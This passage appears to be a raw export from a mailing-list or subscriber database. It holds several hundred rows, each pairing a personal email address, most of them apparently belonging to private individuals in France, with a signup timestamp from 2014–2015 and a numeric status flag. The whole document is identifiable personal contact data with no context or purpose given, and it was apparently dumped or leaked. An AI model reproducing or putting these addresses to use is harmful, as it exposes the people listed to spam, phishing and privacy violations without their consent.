; ;0 +3696;carinne4@free.fr;2014-09-25 19:31:45; ; ;0 +3697;christiane.manneville@gmail.com;2014-09-26 04:43:13; ; ;0 +3698;eriflor57@gmail.com;2014-09-26 09:27:32; ; ;0 +3699;n.tailpied@gmail.com;2014-09-26 15:57:44; ; ;0 +3700;4lpyysl@gmail.com;2014-09-27 11:54:44; ; ;0 +3701;poupinevero@gmail.colm;2014-09-27 14:24:54; ; ;0 +3702;jessyephilibert@gmail.com;2014-09-27 19:13:25; ; ;0 +3703;anne@oleos.fr;2014-09-28 11:00:53; ; ;0 +3704;christine.payen@free.fr;2014-09-28 17:55:49; ; ;0 +3705;jeremy.boissel0848@orange.fr;2014-09-29 13:02:19; ; ;0 +3706;bernadetterauber@orange.fr;2014-09-30 07:50:12; ; ;0 +3707;thonon.jean-marie@outlook.com;2014-09-30 10:14:55; ; ;0 +3708;turpilla@yahoo.fr;2014-09-30 21:12:17; ; ;0 +3709;lagirly02@live.fr;2014-10-01 12:51:48; ; ;0 +3710;maxgeffie@free.fr;2014-10-01 16:02:28; ; ;0 +3711;catherine.candido@hotmail.fr;2014-10-01 17:30:15; ; ;0 +3712;mcnannigoursolle@hotmail.fr;2014-10-02 15:41:38; ; ;0 +3713;joelle.pibou@wanadoo.fr;2014-10-02 16:15:40; ; ;0 +3714;luckyange@orange.fr;2014-10-02 18:53:28; ; ;0 +3715;silviva@wanadoo.fr;2014-10-02 23:55:53; ; ;0 +3716;gutierrezhelena@orange.fr;2014-10-03 21:19:15; ; ;0 +3717;virginie.becel@orange.fr;2014-10-04 14:59:21; ; ;0 +3718;isabelle.gomeriel@bbox.fr;2014-10-04 18:13:06; ; ;0 +3719;sogi3@wanadoo.fr;2014-10-05 00:20:16; ; ;0 +3720;amandineseeb@hotmail.fr;2014-10-05 16:12:17; ; ;0 +3721;veroniquedupuya@gmail.com;2014-10-05 19:05:52; ; ;0 +3722;emilie.paye@gmail.com;2014-10-05 23:17:18; ; ;0 +3723;nicolemuriel@yahoo.fr;2014-10-07 15:08:12; ; ;0 +3724;edith.pyta@gmail.com;2014-10-07 18:26:16; ; ;0 +3725;stephanie.domingues@free.fr;2014-10-07 19:43:11; ; ;0 +3726;aline.zanelli@neuf.fr;2014-10-08 08:53:30; ; ;0 +3727;annemarie.tardieu@orange.fr;2014-10-09 10:33:12; ; ;0 +3728;jtchermant@hotmail.com;2014-10-09 21:09:54; ; ;0 +3729;clarisse.cgdf@gmail.com;2014-10-10 10:37:29; ; ;0 +3730;nala_fripouille@yahoo.fr;2014-10-10 12:37:54; ; ;0 +3731;veronique.hurard@hotmail.fr;2014-10-10 15:09:18; ; ;0 +3732;oriana65@bluewin.ch;2014-10-10 21:19:58; ; ;0 +3733;mdecantern@aol.com;2014-10-10 23:39:00; ; ;0 +3734;jennybob1@bigpond.com;2014-10-11 14:53:33; ; ;0 +3735;clarahelena@numericable.fr;2014-10-11 22:37:44; ; ;0 +3736;philiflor@orange.fr;2014-10-12 16:25:16; ; ;0 +3737;kfileva@yahoo.com;2014-10-12 21:45:17; ; ;0 +3738;erikasmaini@yahoo.fr;2014-10-13 22:19:11; ; ;0 +3739;blankakayende@hotmail.fr;2014-10-14 01:14:53; ; ;0 +3740;margotte007@hotmail.fr;2014-10-14 09:48:00; ; ;0 +3741;marion.monnier87@gmail.com;2014-10-14 10:35:11; ; ;0 +3742;fabienne.tinedor@sfr.fr;2014-10-15 08:06:00; ; ;0 +3743;katyyannickguiziou@bbox.fr;2014-10-15 16:06:43; ; ;0 +3744;cbuton@voila.fr;2014-10-15 16:48:03; ; ;0 +3745;mgerard747@yahoo.fr;2014-10-15 19:03:44; ; ;0 +3746;Olazabal.maika@orange.fr;2014-10-17 15:49:28; ; ;0 +3747;vcesbron@free.fr;2014-10-17 15:49:46; ; ;0 +3748;reine-marie.armand@laposte.net;2014-10-17 17:20:21; ; ;0 +3749;c.belle13@laposte.net;2014-10-17 23:52:27; ; ;0 +3750;nicolehembert@sfr.fr;2014-10-18 15:07:51; ; ;0 +3751;soso-biskra@hotmail.fr;2014-10-19 00:02:20; ; ;0 +3752;jupin.nathalie@bbox.fr;2014-10-19 20:35:14; ; ;0 +3753;catherine.cheminal@wanadoo.fr;2014-10-20 11:07:11; ; ;0 +3754;marlenegiroud@yahoo.fr;2014-10-20 22:15:43; ; ;0 +3755;julie.planforet@hotmail.fr;2014-10-21 12:38:57; ; ;0 +3756;paulinette2b@hotmail.fr;2014-10-21 14:18:11; ; ;0 +3757;sasa-d@live.fr;2014-10-21 14:57:07; ; ;0 +3758;ptite_km@hotmail.com;2014-10-21 16:16:29; ; ;0 +3759;anne.borto@hotmail.fr;2014-10-21 18:08:22; ; ;0 +3760;gay.marie-ange@orange.fr;2014-10-21 22:02:39; ; ;0 +3761;bbinismeain@gmail.com;2014-10-22 13:09:00; ; ;0 +3762;sandrarijks@yahoo.fr;2014-10-22 19:52:53; ; ;0 +3763;familthomas@orange.fr;2014-10-24 19:21:46; ; ;0 +3764;merlin.annapurna@gmail.com;2014-10-24 23:50:53; ; ;0 +3765;carine.brunet17@gmail.com;2014-10-25 08:50:29; ; ;0 +3766;caroline.loyer@gmail.com;2014-10-25 12:53:55; ; ;0 +3767;carolct4@yahoo.fr;2014-10-25 15:16:33; ; ;0 +3768;K.pires@sfr.fr;2014-10-25 17:53:05; ; ;0 +3769;gilda.criscolo@wanadoo.fr;2014-10-25 18:41:33; ; ;0 +3770;lafeecamomille@gmail.com;2014-10-26 14:22:59; ; ;0 +3771;ninie57500@hotmail.fr;2014-10-26 17:15:50; ; ;0 +3772;mpl1972@hotmail.fr;2014-10-26 20:58:57; ; ;0 +3773;cferreira@smptrading.com;2014-10-27 10:36:21; ; ;0 +3774;martine.avet@orange.fr;2014-10-27 10:39:09; ; ;0 +3775;veronique.bourdes@sfr.fr;2014-10-27 13:33:15; ; ;0 +3776;jfmartel1@free.fr;2014-10-27 17:23:08; ; ;0 +3777;dalilalanouar@yahoo.fr;2014-10-28 03:36:41; ; ;0 +3778;christellemarty@hotmail.com;2014-10-28 14:03:39; ; ;0 +3779;nolwenn.davy@essec.edu;2014-10-28 14:46:30; ; ;0 +3780;claire@psychologies.com;2014-10-28 17:53:59; ; ;0 +3781;jousselin.veronique@orange.fr;2014-10-29 13:02:42; ; ;0 +3782;mailbiskr@gmail.com;2014-10-30 02:57:04; ; ;0 +3783;zizie_vito@hotmail.fr;2014-10-30 09:45:46; ; ;0 +3784;cecilejacovides@wanadoo.fr;2014-10-30 12:15:27; ; ;0 +3785;noreen.lessellier@orange.fr;2014-10-30 12:36:53; ; ;0 +3786;ulrichdelphine@yahoo.fr;2014-10-30 15:38:54; ; ;0 +3787;marie-claude.pages@laposte.net;2014-10-31 16:48:56; ; ;0 +3788;cathychallier@free.fr;2014-10-31 21:49:44; ; ;0 +3789;anna.chanel75@gmail.com;2014-11-02 11:28:55; ; ;0 +3790;clelie.gref@laposte.net;2014-11-02 15:13:18; ; ;0 +3791;moniquemeudan@orange.fr;2014-11-03 10:24:25; ; ;0 +3792;ihaerdter@free.fr;2014-11-03 14:33:31; ; ;0 +3793;danielle.schmitt1@free.fr;2014-11-03 15:59:34; ; ;0 +3794;pradinemarieclaire0@orange.fr;2014-11-03 22:50:07; ; ;0 +3795;kernod@wanadoo.fr;2014-11-04 17:09:33; ; ;0 +3796;marieclaude.nantes@free.fr;2014-11-04 21:49:55; ; ;0 +3797;m.magnan@yahoo.fr;2014-11-04 22:51:29; ; ;0 +3798;didier-isa@hotmail.fr;2014-11-05 14:20:05; ; ;0 +3799;laur.ferrari@free.fr;2014-11-05 16:42:00; ; ;0 +3800;stephaniebonplan@gmail.com;2014-11-06 10:05:04; ; ;0 +3801;delphine.keraudren@gmail.com;2014-11-06 15:46:57; ; ;0 +3802;christeljoly@gmail.com;2014-11-06 21:15:32; ; ;0 +3803;jocelyneprost@msn.com;2014-11-07 00:28:03; ; ;0 +3804;laurence62@wanadoo.fr;2014-11-07 09:05:21; ; ;0 +3805;pappilio@bbox.fr;2014-11-07 16:13:47; ; ;0 +3806;didou636@gmail.com;2014-11-07 22:47:18; ; ;0 +3807;deboeuf.patricia@orange.fr;2014-11-08 22:11:02; ; ;0 +3808;benedicte.meis@gmail.com;2014-11-08 22:44:13; ; ;0 +3809;mnpasero@laposte.net;2014-11-09 11:02:04; ; ;0 +3810;jessicazych@hotmail.be;2014-11-09 18:52:45; ; ;0 +3811;annie.ritod@gmail.com;2014-11-09 19:35:24; ; ;0 +3812;fannylefanu@gmail.com;2014-11-09 22:56:18; ; ;0 +3813;helene.giacobazzi@gmail.com;2014-11-10 08:03:59; ; ;0 +3814;stephie2009@orange.fr;2014-11-10 08:09:55; ; ;0 +3815;nathalie@nethik.fr;2014-11-10 11:58:17; ; ;0 +3816;putincham@yahoo.com;2014-11-10 14:43:00; ; ;0 +3817;fabienne_humbert@yahoo.fr;2014-11-10 15:19:46; ; ;0 +3818;julie-popcorn78@hotmail.fr;2014-11-10 17:04:33; ; ;0 +3819;ghislaine.terrier0045@orange.fr;2014-11-10 19:27:35; ; ;0 +3820;satsi.basmati@gmail.com;2014-11-10 20:50:18; ; ;0 +3821;megel_lucien@yahoo.fr;2014-11-11 12:07:37; ; ;0 +3822;florence.drevet@orange.fr;2014-11-11 18:23:42; ; ;0 +3823;jobinj@wanadoo.fr;2014-11-11 19:28:19; ; ;0 +3824;muriel.cabezos@orange.fr;2014-11-11 21:43:19; ; ;0 +3825;pascal.ingrid0504@orange.fr;2014-11-12 10:56:24; ; ;0 +3826;alfons1937@gmail.com;2014-11-13 11:54:24; ; ;0 +3827;permanalain@live.be;2014-11-13 14:47:14; ; ;0 +3828;barbarapalermo94@yahoo.fr;2014-11-13 19:42:22; ; ;0 +3829;foulon.vero@wanadoo.fr;2014-11-13 20:22:47; ; ;0 +3830;sinasi501@gmail.com;2014-11-13 21:08:14; ; ;0 +3831;fefequeen@icloud.com;2014-11-14 15:10:01; ; ;0 +3832;Sophie@familyholt.com;2014-11-15 14:25:25; ; ;0 +3833;slepavec@wanadoo.fr;2014-11-15 23:08:36; ; ;0 +3834;nathalieannabelle@yahoo.fr;2014-11-16 21:13:41; ; ;0 +3835;loloviva@sfr.fr;2014-11-16 21:34:55; ; ;0 +3836;celdi7@hotmail.com;2014-11-17 08:21:10; ; ;0 +3837;carorli@hotmail.fr;2014-11-17 08:53:46; ; ;0 +3838;gerlando.clement@laposte.net;2014-11-17 10:56:26; ; ;0 +3839;giuliani.helene@orange.fr;2014-11-17 21:44:12; ; ;0 +3840;schenk.cindy@bluewin.ch;2014-11-18 20:38:34; ; ;0 +3841;toutencadre.morlaix@orange.fr;2014-11-19 07:29:56; ; ;0 +3842;cillazen@gmail.com;2014-11-19 09:02:07; ; ;0 +3843;marciniak.catherine@orange.fr;2014-11-19 16:07:52; ; ;0 +3844;b.verlynde@orange.fr;2014-11-20 12:34:16; ; ;0 +3845;kikaloup@hotmail.fr;2014-11-20 20:48:35; ; ;0 +3846;aurelie_sa@hotmail.fr;2014-11-20 22:34:18; ; ;0 +3847;sophietomps@yahoo.fr;2014-11-21 21:59:25; ; ;0 +3848;boivin.cl@voila.fr;2014-11-21 23:55:35; ; ;0 +3849;toinette.63@orange.fr;2014-11-22 09:56:43; ; ;0 +3850;tibet11000@hotmail.fr;2014-11-22 10:36:16; ; ;0 +3851;hmilbeo@club-internet.fr;2014-11-23 07:45:54; ; ;0 +3852;elza.khaled@hotmail.com;2014-11-23 17:10:55; ; ;0 +3853;azurela06@hotmail.fr;2014-11-24 14:31:38; ; ;0 +3854;claire.taria@wanadoo.fr;2014-11-24 15:44:47; ; ;0 +3855;bea2507@live.fr;2014-11-25 00:58:15; ; ;0 +3856;martinebandol@gmail.com;2014-11-25 14:41:54; ; ;0 +3857;marie.chabanon@orange.fr;2014-11-26 11:24:39; ; ;0 +3858;chantal.bereau@gmail.com;2014-11-26 14:00:02; ; ;0 +3859;c28062010@gmail.com;2014-11-26 19:20:40; ; ;0 +3860;fatiha.lebbar@gmail.com;2014-11-26 19:33:43; ; ;0 +3861;veronique@lilga.net;2014-11-26 19:34:14; ; ;0 +3862;pascalewx@hotmail.com;2014-11-27 12:54:59; ; ;0 +3863;arizona@numericable.fr;2014-11-27 13:47:18; ; ;0 +3864;gaelle.legendre@hotmail.fr;2014-11-27 15:07:55; ; ;0 +3865;an.xelle@hotmail.fr;2014-11-27 16:27:53; ; ;0 +3866;steph_d88@hotmail.fr;2014-11-27 17:44:40; ; ;0 +3867;e.martin185@laposte.net;2014-11-28 13:28:17; ; ;0 +3868;renpingfr@hotmail.com;2014-11-28 23:33:42; ; ;0 +3869;paul.cuguillere@orange.fr;2014-11-29 06:23:53; ; ;0 +3870;marie.demaret@orange.fr;2014-11-30 16:47:50; ; ;0 +3871;michele-1956@live.fr;2014-11-30 19:09:34; ; ;0 +3872;perrso1@msn.com;2014-11-30 21:49:38; ; ;0 +3873;antje.lallemand@laposte.net;2014-12-01 00:43:25; ; ;0 +3874;orely.judic@yahoo.fr;2014-12-01 17:11:35; ; ;0 +3875;Carole.buchmuller@cofinluxe.fr;2014-12-01 20:13:34; ; ;0 +3876;choubounou75@gmail.com;2014-12-02 00:22:18; ; ;0 +3877;martinedufresne@sfr.fr;2014-12-02 19:57:48; ; ;0 +3879;thibault@antadis.com;2014-12-03 10:22:34; ; ;1 +3880;alex-rich@hotmail.fr;2014-12-03 10:23:28; ; ;1 +3881;laure19111977@hotmail.fr;2014-12-03 12:21:06; ; ;1 +3882;gabrielamariaferreira@sapo.pt;2014-12-03 15:48:33; ; ;1 +3883;gmoff17@gmail.com;2014-12-03 15:49:35; ; ;1 +3884;veronique.sassard83@sfr.fr;2014-12-03 17:06:43; ; ;1 +3885;sagnimorte.elisabeth@neuf.fr;2014-12-04 08:56:25; ; ;1 +3886;l.marin459@laposte.net;2014-12-04 11:15:06; ; ;1 +3887;marie-pierre.galloin@cg60.fr;2014-12-04 14:20:08; ; ;1 +3888;pierredomi2b@orange.fr;2014-12-04 16:25:20; ; ;1 +3889;adel.pec@hotmail.fr;2014-12-05 07:50:32; ; ;1 +3890;gregoire.allin@gmail.com;2014-12-05 11:09:23; ; ;1 +3891;vincent_leslie@orange.fr;2014-12-05 16:48:55; ; ;1 +3892;aurelie.odent@gmail.com;2014-12-05 23:07:01; ; ;1 +3893;vanille5563@hotmail.fr;2014-12-06 09:27:33; ; ;1 +3894;dareau.martine@orange.fr;2014-12-06 12:29:18; ; ;1 +3895;maroulita-m@hotmail.com;2014-12-06 21:43:58; ; ;2 +3896;manuesi2002@yahoo.fr;2014-12-07 14:48:16; ; ;1 +3897;k.karine23@gmail.com;2014-12-09 08:45:26; ; ;1 +3898;marina.ricard@orange.fr;2014-12-09 09:40:59; ; ;1 +3899;mariepierrecartegnie@orange.fr;2014-12-09 16:01:55; ; ;1 +3900;victoire.minnella@orange.fr;2014-12-09 16:57:29; ; ;1 +3901;anny_balazs@yahoo.com;2014-12-09 23:19:47; ; ;1 +3902;celine.lebaron@gmail.com;2014-12-10 00:18:12; ; ;1 +3903;syl.xav@free.fr;2014-12-12 12:17:10; ; ;1 +3904;bigmammadu67@hotmail.fr;2014-12-12 21:15:13; ; ;1 +3905;constant.sylvie@free.fr;2014-12-13 20:04:20; ; ;1 +3906;tisonemmn@aol.com;2014-12-13 22:11:47; ; ;1 +3907;catherine.mendez@club-internet.fr;2014-12-14 07:47:52; ; ;1 +3908;mau2303@hotmail.fr;2014-12-14 10:50:24; ; ;1 +3909;RACHEZ.P@GMAIL.COM;2014-12-14 17:07:05; ; ;1 +3910;martel.s@neuf.fr;2014-12-14 17:28:24; ; ;1 +3911;mirage_flier@hotmail.fr;2014-12-15 13:56:50; ; ;1 +3912;gil.rieutord0890@orange.fr;2014-12-16 08:06:01; ; ;1 +3913;aussenac.domi@hotmail.fr;2014-12-16 23:58:08; ; ;1 +3914;dantec.anne@orange.fr;2014-12-17 16:28:13; ; ;1 +3915;vanessa.bordat@hotmail.fr;2014-12-17 19:00:35; ; ;1 +3916;verrier.vincent@orange.fr;2014-12-17 20:55:26; ; ;1 +3917;isadora_fb@yahoo.fr;2014-12-18 11:55:00; ; ;1 +3918;didierperr@orange.fr;2014-12-18 12:15:51; ; ;1 +3919;patriciacarasco@gmail.com;2014-12-19 17:48:53; ; ;1 +3920;Christine.layec17@gmail.com;2014-12-20 10:31:52; ; ;1 +3921;peterferrari69@gmail.com;2014-12-21 14:10:54; ; ;2 +3922;shriya@hotmail.fr;2014-12-21 19:20:50; ; ;1 +3923;thierry.annick@bbox.fr;2014-12-21 20:37:47; ; ;1 +3924;elodie.duclerget@propos-nature.com;2014-12-22 09:46:31; ; ;1 +3925;martine.legrand@orange-business.fr;2014-12-22 13:46:38; ; ;1 +3926;megane.matarat@groupepanther.com;2014-12-22 14:46:54; ; ;1 +3927;petit-dragon-magic@live.fr;2014-12-22 19:28:07; ; ;1 +3928;pascaleotton@sfr.fr;2014-12-23 10:14:03; ; ;1 +3929;naelcaro@laposte.net;2014-12-25 15:47:07; ; ;1 +3930;logoth29@gmail.com;2014-12-26 00:22:51; ; ;1 +3931;allaerta@hotmail.fr;2014-12-26 00:26:49; ; ;1 +3932;masdesuede@wanadoo.fr;2014-12-27 04:56:23; ; ;1 +3933;marie-claire.foulatier@laposte.net;2014-12-27 17:30:29; ; ;1 +3934;christel_rousseaux@orange.fr;2014-12-28 06:53:09; ; ;1 +3935;Ninedav@live.fr;2014-12-28 08:33:18; ; ;1 +3936;cupcake@aliasbox.net;2014-12-28 15:58:30; ; ;1 +3937;delphinehamon29@gmail.com;2014-12-28 23:06:15; ; ;1 +3938;alexis.smartf@hotmail.com;2014-12-29 17:57:13; ; ;1 +3939;alexis.smartf@gmail.com;2014-12-29 17:57:19; ; ;1 +3940;alexis.smartf@yahoo.fr;2014-12-29 17:57:23; ; ;1 +3941;laurence.thibaud@gmail.com;2014-12-30 18:05:47; ; ;1 +3942;isaloup.clamens@orange.fr;2014-12-30 20:28:29; ; ;1 +3943;chloedesiree@hotmail.fr;2014-12-31 07:17:47; ; ;1 +3944;carole.specht@sfr.fr;2015-01-01 19:47:22; ; ;1 +3945;marziariva@gmail.com;2015-01-02 09:24:15; ; ;1 +3946;michelejclaude.defond@orange.fr;2015-01-03 10:18:08; ; ;1 +3947;nat.morel.1@hotmail.fr;2015-01-03 10:48:47; ; ;1 +3948;bri.5260@yahoo.fr;2015-01-03 16:44:41; ; ;1 +3949;emmagique@hotmail.com;2015-01-03 19:57:27; ; ;1 +3950;carole.lufau@gmail.com;2015-01-03 21:10:45; ; ;1 +3951;lemitre.m@outlook.com;2015-01-03 22:00:46; ; ;1 +3952;dommarion@wanadoo.fr;2015-01-04 18:40:08; ; ;1 +3953;margotal@aol.com;2015-01-05 07:56:23; ; ;1 +3954;v.darellis@orange.fr;2015-01-05 12:01:00; ; ;1 +3955;blue2_angel66@hotmail.com;2015-01-05 13:34:21; ; ;1 +3956;bluefeu@sina.com;2015-01-05 13:58:25; ; ;1 +3957;margaux.mounier@loreal.com;2015-01-05 17:37:24; ; ;1 +3958;dorinelhopital@orange.fr;2015-01-05 22:45:22; ; ;1 +3959;jessica.nolid@gmail.com;2015-01-05 23:44:31; ; ;1 +3960;veillecosm@gmail.com;2015-01-06 11:09:48; ; ;1 +3961;mahasiah@hotmail.be;2015-01-06 14:17:08; ; ;1 +3962;marketing@aroli.net;2015-01-06 16:38:52; ; ;1 +3963;mussard.morgane@gmail.com;2015-01-06 18:11:45; ; ;1 +3964;rivoncamille@yahoo.fr;2015-01-07 12:08:10; ; ;1 +3965;73naty@gmail.com;2015-01-07 15:34:08; ; ;1 +3966;Emiliejeanne8@gmail.com;2015-01-07 17:50:18; ; ;1 +3967;evelyne.roux78@wanadoo.fr;2015-01-07 19:41:15; ; ;1 +3968;aureliereglisse@hotmail.fr;2015-01-08 22:29:33; ; ;1 +3969;samiatouati@hotmail.fr;2015-01-11 12:59:24; ; ;1 +3970;anne.perrodeau@univ-nantes.fr;2015-01-11 15:47:15; ; ;1 +3971;maperrodeau@laposte.net;2015-01-11 15:47:30; ; ;1 +3972;hcch15@hotmail.com;2015-01-12 09:56:28; ; ;1 +3973;josilamy@gmail.com;2015-01-12 12:24:30; ; ;1 +3974;cay@chonk.net;2015-01-12 16:45:14; ; ;2 +3975;adrienn.surman@gmail.com;2015-01-12 21:03:19; ; ;1 +3976;capucinebioderma@gmail.com;2015-01-13 14:41:43; ; ;1 +3977;lorraine.choffart@hotmail.fr;2015-01-13 15:02:21; ; ;1 +3978;beaumec63@hotmail.fr;2015-01-14 09:53:24; ; ;1 +3979;alertesbeaute@outlook.fr;2015-01-14 17:18:18; ; ;1 +3980;krikri107@yahoo.fr;2015-01-15 12:54:52; ; ;1 +3981;regine.loupias46@gmail.com;2015-01-15 21:15:27; ; ;1 +3982;biocapucine@gmail.com;2015-01-16 16:38:35; ; ;1 +3983;fredkirsch42@hotmail.fr;2015-01-16 17:28:15; ; ;1 +3984;saki.confidentiel@gmail.com;2015-01-16 19:52:48; ; ;1 +3985;m-christine.potier@orange.fr;2015-01-17 16:19:17; ; ;1 +3986;fidji089@hotmail.fr;2015-01-17 18:20:25; ; ;1 +3987;s.brieu@orange.fr;2015-01-18 14:25:37; ; ;1 +3988;florence.thomas537@orange.fr;2015-01-19 05:37:31; ; ;1 +3989;dom.gardet@free.fr;2015-01-19 10:10:14; ; ;1 +3990;icadoun@orange.fr;2015-01-19 11:45:26; ; ;1 +3991;finley.berryman@menn.amicushospitality.com;2015-01-19 19:15:25; ; ;2 +3992;eliandre.badey@orange.fr;2015-01-19 22:39:57; ; ;1 +3993;Alexandra.wecxsteen@hotmail.fr;2015-01-19 23:11:15; ; ;1 +3994;alonzo_webb85@ledwell.amicushospitality.com;2015-01-20 12:46:08; ; ;2 +3995;stephane.chaignaud@sfr.fr;2015-01-20 14:01:16; ; ;1 +3996;josefa.earley@stephanie.100paintingschallenge.com;2015-01-22 01:20:22; ; ;2 +3997;v.lebrun78@hotmail.fr;2015-01-22 09:01:14; ; ;1 +3998;annie.martellat@sfr.fr;2015-01-22 09:30:06; ; ;1 +3999;jacquelyn-philipp11@stephanie.100paintingschallenge.com;2015-01-22 12:14:24; ; ;2 +4000;joycelyn-langham@mondello.amicushospitality.com;2015-01-22 19:09:17; ; ;2 +4001;julia814@hotmail.fr;2015-01-23 13:08:06; ; ;1 +4002;bethcarc.coudry@yahoo.fr;2015-01-23 14:37:25; ; ;1 +4003;juliette.bouteliere@hotmail.fr;2015-01-23 16:01:55; ; ;1 +4004;hilton-groff45@bandley.amicushospitality.com;2015-01-23 16:23:35; ; ;2 +4005;mildred.delagarza71@bandley.amicushospitality.com;2015-01-23 21:53:55; ; ;2 +4006;marie-agnes.richard@sfr.fr;2015-01-24 00:40:52; ; ;1 +4007;ggisou2b@aol.com;2015-01-24 06:29:24; ; ;1 +4008;Lindalao@live.fr;2015-01-25 00:33:24; ; ;1 +4009;petitesirene38@live.fr;2015-01-25 18:48:14; ; ;1 +4010;revelationrevelation@outlook.fr;2015-01-26 11:44:40; ; ;1 +4011;dufourpascale@orange.fr;2015-01-26 15:17:59; ; ;1 +4012;bernard.poiret0440@orange.fr;2015-01-27 16:17:10; ; ;1 +4013;lkakon8@gmail.com;2015-01-27 16:19:25; ; ;1 +4014;vero.fournier13@orange.fr;2015-01-28 13:21:36; ; ;1 +4015;contactdigital@garancia-beauty.com;2015-01-28 15:16:15; ; ;1 +4016;lauresaigne@free.fr;2015-01-28 18:05:22; ; ;1 +4017;saigne@watsoncom.fr;2015-01-28 18:05:45; ; ;1 +4018;elisabethketterer@yahoo.fr;2015-01-29 08:44:14; ; ;1 +4019;lc-hervy-bourdon@wanadoo.fr;2015-01-30 13:01:43; ; ;1 +4020;magalistanley@hotmail.fr;2015-01-30 14:42:33; ; ;1 +4021;c.carabasse@hotmail.fr;2015-01-30 15:35:46; ; ;1 +4022;bbarande@hotmail.fr;2015-01-31 15:11:30; ; ;1 +4023;joelle-lefloch@bbox.fr;2015-02-01 13:55:46; ; ;1 +4024;gwenaelle.lafrance@gmail.com;2015-02-01 18:19:12; ; ;1 +4025;christelle.leduff@laposte.net;2015-02-01 18:21:42; ; ;1 +4026;martineau.charlotte@hotmail.fr;2015-02-01 18:53:45; ; ;1 +4027;catherine.cassegrain@orange.fr;2015-02-02 09:06:51; ; ;1 +4028;alinebois@hotmail.fr;2015-02-02 17:10:01; ; ;1 +4029;lulupic02@hotmail.com;2015-02-02 20:44:52; ; ;1 +4030;mado7469@live.fr;2015-02-02 22:06:21; ; ;1 +4031;jocelynelamagnere@neuf.fr;2015-02-03 08:58:37; ; ;1 +4032;incafisga@gmail.com;2015-02-03 12:01:53; ; ;1 +4033;b.yannick28@aliceadsl.fr;2015-02-03 15:15:53; ; ;1 +4034;coppolino_sophie@hotmail.com;2015-02-04 13:06:14; ; ;1 +4035;clasouday@gmail.com;2015-02-04 13:07:20; ; ;1 +4036;natachaberthault@yahoo.fr;2015-02-04 13:12:57; ; ;1 +4037;ouin.valerie@orange.fr;2015-02-04 13:25:17; ; ;1 +4038;hervelegalle@hotmail.fr;2015-02-04 13:27:59; ; ;1 +4039;eve.notelet@laposte.net;2015-02-04 13:30:44; ; ;1 +4040;pchristianne@yahoo.fr;2015-02-04 13:43:22; ; ;1 +4041;colombeccrs@gmail.com;2015-02-04 14:11:27; ; ;1 +4042;anais.marecaux@gmail.com;2015-02-04 14:13:09; ; ;1 +4043;frederique.paul@ville-nice.fr;2015-02-04 14:17:52; ; ;1 +4044;ambro59@hotmail.fr;2015-02-04 14:17:56; ; ;1 +4045;yoyanne@gmail.com;2015-02-04 14:19:48; ; ;1 +4046;maryse.le-dily@laposte.net;2015-02-04 14:21:17; ; ;1 +4047;be.jeanville@me.com;2015-02-04 14:28:40; ; ;1 +4048;mf-halluin@hotmail.fr;2015-02-04 14:33:20; ; ;1 +4049;indigo_bennett@gmail.com;2015-02-04 14:53:49; ; ;1 +4050;delph7411@gmail.com;2015-02-04 15:00:26; ; ;1 +4051;angelho77@aol.com;2015-02-04 15:07:37; ; ;1 +4052;paillardgomez@orange.fr;2015-02-04 15:20:55; ; ;1 +4053;rochard.chantal@gmail.com;2015-02-04 15:21:26; ; ;1 +4054;legveron@hotmail.com;2015-02-04 15:27:39; ; ;1 +4055;fatnaziani@hotmail.com;2015-02-04 15:30:27; ; ;1 +4056;estelle.guilcher@gmail.com;2015-02-04 16:13:03; ; ;1 +4057;boxfrancoise@yahoo.fr;2015-02-04 16:20:19; ; ;1 +4058;misslevaviva@gmail.com;2015-02-04 16:36:27; ; ;1 +4059;fatihabellout@yahoo.fr;2015-02-04 17:01:39; ; ;1 +4060;martinelothe@yahoo.fr;2015-02-04 17:07:02; ; ;1 +4061;charlieetflo@laposte.net;2015-02-04 17:10:37; ; ;1 +4062;domi.marrel@orange.fr;2015-02-04 17:15:22; ; ;1 +4063;versace.girl@hotmail.fr;2015-02-04 17:19:42; ; ;1 +4064;gaelle.coupanec@live.fr;2015-02-04 17:25:06; ; ;1 +4065;vdalfred@sfr.fr;2015-02-04 17:29:52; ; ;1 +4066;a.forgeard@laposte.net;2015-02-04 18:09:03; ; ;1 +4067;anne-laure.vernier@laposte.net;2015-02-04 18:09:18; ; ;1 +4068;gournay.veronique@orange.fr;2015-02-04 18:13:51; ; ;1 +4069;christelle.lafaysse@orange.fr;2015-02-04 18:18:04; ; ;1 +4070;cocoro2559@yahoo.fr;2015-02-04 18:26:11; ; ;1 +4071;laurencebenayon@gmail.com;2015-02-04 18:45:27; ; ;1 +4072;btheisse@gmail.com;2015-02-04 18:46:20; ; ;1 +4073;didiertalon@msn.com;2015-02-04 19:02:05; ; ;1 +4074;fab.j@noos.fr;2015-02-04 19:02:27; ; ;1 +4075;chris.pascal2515@gmail.com;2015-02-04 19:12:29; ; ;1 +4076;Sp75@orange.fr;2015-02-04 19:14:20; ; ;1 +4077;beranger.roselyne@gmail.com;2015-02-04 19:41:36; ; ;1 +4078;evelynee173@gmail.com;2015-02-04 19:43:33; ; ;1 +4079;rasm@voila.fr;2015-02-04 20:31:24; ; ;1 +4080;amdfra72@yahoo.fr;2015-02-04 20:32:15; ; ;1 +4081;lili.cobra19@hotmail.fr;2015-02-04 21:05:00; ; ;1 +4082;shanaya71@outlook.fr;2015-02-04 21:10:59; ; ;1 +4083;anthonio2@neuf.fr;2015-02-04 21:15:14; ; ;1 +4084;karine56320@hotmail.fr;2015-02-04 21:21:10; ; ;1 +4085;martinegouttebroze@sfr.fr;2015-02-04 21:35:10; ; ;1 +4086;christelle.michelot@yahoo.fr;2015-02-04 21:47:45; ; ;1 +4087;rennesson.dominique@wanadoo.fr;2015-02-04 22:06:27; ; ;1 +4088;marysedu35@live.fr;2015-02-04 22:20:39; ; ;1 +4089;alixph@sfr.fr;2015-02-04 22:22:16; ; ;1 +4090;meganejouet40@outlook.fr;2015-02-04 23:41:03; ; ;1 +4091;tournesol53@gmail.com;2015-02-05 00:03:58; ; ;1 +4092;chuibienla@yahoo.fr;2015-02-05 00:29:50; ; ;1 +4093;charmed77@hotmail.fr;2015-02-05 00:46:51; ; ;1 +4094;nuss1953@yahoo.fr;2015-02-05 02:07:23; ; ;1 +4095;Carole.mor@hotmail.fr;2015-02-05 05:26:15; ; ;1 +4096;nelly.lesager77@gmail.com;2015-02-05 07:06:18; ; ;1 +4097;btouzet75@gmail.com;2015-02-05 07:41:19; ; ;1 +4098;elsamenard@gmail.com;2015-02-05 09:10:37; ; ;1 +4099;nroudrigue@laposte.net;2015-02-05 09:13:08; ; ;1 +4100;sab.petit@voila.fr;2015-02-05 09:45:44; ; ;1 